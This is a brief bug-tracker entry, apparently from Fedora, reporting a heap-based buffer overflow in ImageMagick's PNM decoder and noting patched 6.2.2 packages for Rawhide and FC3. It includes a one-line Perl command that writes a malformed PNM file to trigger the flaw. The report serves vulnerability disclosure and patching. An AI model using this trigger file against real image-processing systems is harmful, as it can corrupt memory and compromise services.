+++ This bug was initially created as a clone of Bug #155953 +++
A heap based buffer overflow exists in ImageMagick's PNM decoder.
Here's exploit (in the event the website vanishes)
perl -e 'print "P7\n1\n1 1\n1"' > vuln.pnm
I'm building 6.2.2 packages for Rawhide and FC3
Packages are in fc3 updates